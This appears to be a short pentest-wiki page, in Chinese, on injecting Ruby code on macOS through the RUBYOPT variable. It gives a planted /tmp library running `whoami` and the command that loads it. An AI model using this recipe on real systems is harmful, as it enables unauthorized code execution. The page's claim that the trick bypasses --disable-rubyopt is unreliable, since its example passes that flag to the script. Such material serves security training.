837 B
Raw Blame History

macOS Ruby Applications Injection

{{#include ../../../banners/hacktricks-training.md}}

RUBYOPT

使用这个环境变量,可以在每次执行ruby添加新参数。虽然参数**-e不能用于指定要执行的ruby代码但可以使用参数-I-r来添加一个新文件夹到库加载路径,然后指定要加载的库**。

在**/tmp中创建库inject.rb**

puts `whoami`

创建一个类似于以下的 Ruby 脚本:

puts 'Hello, World!'

然后使用以下任意 Ruby 脚本加载它:

RUBYOPT="-I/tmp -rinject" ruby hello.rb

有趣的事实,即使使用参数 --disable-rubyopt 也有效:

RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt

{{#include ../../../banners/hacktricks-training.md}}